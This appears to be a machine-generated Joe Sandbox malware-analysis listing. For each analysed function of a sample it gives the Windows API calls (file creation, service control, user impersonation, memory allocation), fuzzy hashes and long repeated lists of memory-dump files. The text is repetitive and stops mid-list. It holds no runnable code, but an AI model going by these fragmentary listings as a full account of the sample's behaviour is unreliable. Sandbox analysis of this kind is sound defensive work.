Opcode Fuzzy Hash: 4ec9f6db7f0642b28b65190a9aa74e7720d2601a3a021bd4c77a456597eb491f
Instruction Fuzzy Hash: 1D3138B3249259AEF714EE41AE50EFF77ADEBC2370F70402BF941C6481D2A50D468635

Function 00441FE8 Relevance: 1.6, APIs: 1, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00442044

Memory Dump Source

Source File: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3e8100558aaa1ca433daaa757b38ff8b29674a99818a7a5a9c410b02af028cba
Instruction ID: ccc2c95ee126ae3c5e52a7fcb3feb83e1ea5d6147fa981c136842fd91bc9ecf3
Opcode Fuzzy Hash: 3e8100558aaa1ca433daaa757b38ff8b29674a99818a7a5a9c410b02af028cba
Instruction Fuzzy Hash: 0521F2B714825A6EF725DE41AF50EFB77ADE7C2370F70842BF941C2981D2A50D4A8239

Function 00441FDB Relevance: 1.6, APIs: 1, Instructions: 115
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00442044

Memory Dump Source

Source File: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2e1600704dc9962c28edfa8c9fe44077bced2459603389b194e95bf2743dd102
Instruction ID: 79011cfdcbb29c73d9b028ab28d7ff2d9aedefcb6cdde75b643921e3dcd3aafd
Opcode Fuzzy Hash: 2e1600704dc9962c28edfa8c9fe44077bced2459603389b194e95bf2743dd102
Instruction Fuzzy Hash: 2921E1B31492566EF711AE51AE50EFF77ADEBC2370F70442BF981C6881D2A50D4A8239

Function 06DB0D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 06DB0DCD

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5c697a1097bdc54d14c0492d5e98feb552fb9d700efcbc87426a0e7092c03d48
Instruction ID: a3e1b3bb9ece85af6fa58b0dae328907428e3575fc5e396f12faa26ec02d0c22
Opcode Fuzzy Hash: 5c697a1097bdc54d14c0492d5e98feb552fb9d700efcbc87426a0e7092c03d48
Instruction Fuzzy Hash: 332137B6C00219DFCB50CF99E884ADEFBF4FF88310F14851AD909AB249D774A540CBA5

Function 06DB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 06DB0DCD

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: f5ec46e54aaf94cecc08e2fb4c3b7362a0e2a09833769a2237998efe90e9aa5d
Instruction ID: aa49bd662d97d378e6b0afa4f496797a540ba3c5f534ae7d019e0ceec1cc0c3c
Opcode Fuzzy Hash: f5ec46e54aaf94cecc08e2fb4c3b7362a0e2a09833769a2237998efe90e9aa5d
Instruction Fuzzy Hash: EC2115B6C01219DFCB50CFA9E884ADEFBF4FF88710F14811AD909AB249D774A540CBA4

Function 06DB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 06DB1580

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 8a9a0adcaaea7fe184675557a77711f6f5cf51a3a2dc35def14cf477424fb489
Instruction ID: 641f2298d2d3a2daf4024c93be613d56708be7b967952891620e7e6b77aa4a86
Opcode Fuzzy Hash: 8a9a0adcaaea7fe184675557a77711f6f5cf51a3a2dc35def14cf477424fb489
Instruction Fuzzy Hash: 7C11E7B1D00249DFDB10CF9AC984BDEFBF4EB48320F14802AE559A3250D378A544CFA5

Function 06DB1509 Relevance: 1.6, APIs: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 06DB1580

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 85517c6eaf0509e6f405f0e97bcf79a4928e1d892bd03d09dcc045bae90a6379
Instruction ID: 555ea4e582846fbe47110a2c0af43d385d770f962049132c8165d389efe8e0ce
Opcode Fuzzy Hash: 85517c6eaf0509e6f405f0e97bcf79a4928e1d892bd03d09dcc045bae90a6379
Instruction Fuzzy Hash: F021D0B5900249CFDB10CFAAD584BEEFBF4AB48320F14842AE559A7250D778A644CFA5

Function 06DB1301 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE(?), ref: 06DB1367

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 9dd484e09665a149cbe70b1baa1a12beb44b008261514f346effbb1fa75a8a1c
Instruction ID: 11f1364ffde3bddedb7e5a7411686a9e06d6efa96ec7a20c9b8f63cb8227e1aa
Opcode Fuzzy Hash: 9dd484e09665a149cbe70b1baa1a12beb44b008261514f346effbb1fa75a8a1c
Instruction Fuzzy Hash: 001116B1800249CFDB10DF9AD944BDEFBF8EF48320F14842AD518A3241D778A544CBA5

Function 06DB1308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE(?), ref: 06DB1367

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 77842066092d143080d29b4cf3f4b892092b902e3d723cc48f4356203b0c8483
Instruction ID: 6c592072d4b0871e3823868e758b1816ee8a693ce72378c462523f7650460b21
Opcode Fuzzy Hash: 77842066092d143080d29b4cf3f4b892092b902e3d723cc48f4356203b0c8483
Instruction Fuzzy Hash: 1811F5B1800249CFDB10DFAAD945BDEFBF8EB48320F14845AD518A3750D778A544CBA5

Function 002CE871 Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 002CE871

Memory Dump Source

Source File: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eb64317e78643ab3fe6ea7f3d61eb934f9a09c95dd3b21ab3d38bd8856d5a546
Instruction ID: 85d10e0a292f2f984ca964d51e4439ee8f2247034b35c69850932591b8ca6e76
Opcode Fuzzy Hash: eb64317e78643ab3fe6ea7f3d61eb934f9a09c95dd3b21ab3d38bd8856d5a546
Instruction Fuzzy Hash: 86D052B41206098BCB000F64888CA9FBAA4EF08311F214208A82682A80E6B20C60CA19

Function 002CF306 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 002CF306

Memory Dump Source

Source File: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
